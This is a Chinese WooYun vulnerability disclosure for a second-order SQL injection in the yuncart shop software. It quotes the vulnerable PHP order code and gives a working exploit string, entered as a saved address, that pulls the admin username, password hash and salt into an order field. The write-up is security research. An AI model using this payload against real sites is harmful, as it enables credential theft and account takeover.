当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077812

漏洞标题:yuncart SQL注入一枚(二次注入,附演示EXP)

相关厂商:yuncart

漏洞作者: xiaoL

提交时间:2014-10-02 09:50

修复时间:2014-12-31 09:52

公开时间:2014-12-31 09:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-02: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-12-31: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

看这个程序主要是因为一个朋友,他觉得这玩意一定没有问题了。
虽然是小程序,不过感觉程序员已经相当注意安全了,差点就放弃了。
最后发现这个洞真是开心。

详细说明:

程序员对所有带入sql语句都包裹到了单引号中,底层model没有发现问题,全局过滤类似gpc,未发现整型没有intval。
但是最后发现了从数据库 -> 数据库的逻辑。发现了本次的问题。
在文件www\include\front\buy.class.php中

/**
*
* 提交订单
*
*
**/
public function ordercomp() {

$time = time();
//判断订单执行条件
//购物车
$carts = $_SESSION["cart"]["list"];
if(!$carts) {
redirect(array("index","cart"));
}
//收货地址
$addressid = intval($_POST["addressid"]); //整型过滤了,但是这个位置根据地址的id去取了用户的地址信息。
$address = DB::getDB()->selectrow("user_address","*","uid=".$this->uid." AND addressid='$addressid'"); //获取地址信息
if(!$address) cerror(__("error_address"));


继续看变量$address,还是在这个文件中

$_SESSION['cart']['in'] = true;//正在执行订单
$tradeid = $time . mt_rand(100,999);
$data = array(
"tradeid" => $tradeid,
"uid" => $this->uid,
"uname" => $_SESSION['uname'],
"addtime" => $time,
"status" => "WAIT_PAY",//未支付
"totalfee" => getPrice($totalfee,2,'int'),
"itemfee" => getPrice($itemfee,2,'int'),
"postfee" => getPrice($postfee,2,'int'),
"man" => $man ? $man['str'] : '',
"coupon" => $coupon ? $coupon['deno'] : 0,
"expresswayid" => $wayid,
"posttype" => $posttype,
"receiver_name" => $address['receiver'], //使用了取出的$address变量插入了语句 ,下面几个点都是一样
"receiver_province" => $address['province'],
"receiver_city" => $address['city'],
"receiver_district" => $address['district'],
"receiver_address" => $address['address'],
"receiver_zip" => $address['zipcode'],
"receiver_link" => $address['link'],
"memo" => $memo,
"payment" => $paymentcode,
"istax" => $istax,
"tax_company" => $tax_company
);
DB::getDB()->insert("trade",$data); //插入了sql语句中,导致了问题的发生。
$adddata = $promodata = array();


添加地址的代码本身没有问题,直接添加最终的exp即可。

漏洞证明:

通过分析了几张相关的表的字符长度与回显是否,选择了
cart_trade表中tax_company字段作为回显
cart_user_address表中address字段作为输入
最终获取管理员密码的exp为:
y','','','','cod',1,(select concat_ws('|',uname,pass,salt) from cart_admin limit 1))-- 1
1、

1111.png


2、随便选个一个商品,下订单,最后提交订单,在addressid字段选择我们提交exp的地址。

3333.png


3、查看我们的订单,账号信息就躺在里面了。

55555.png

修复方案:

过滤

版权声明:转载请注明来源 xiaoL@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝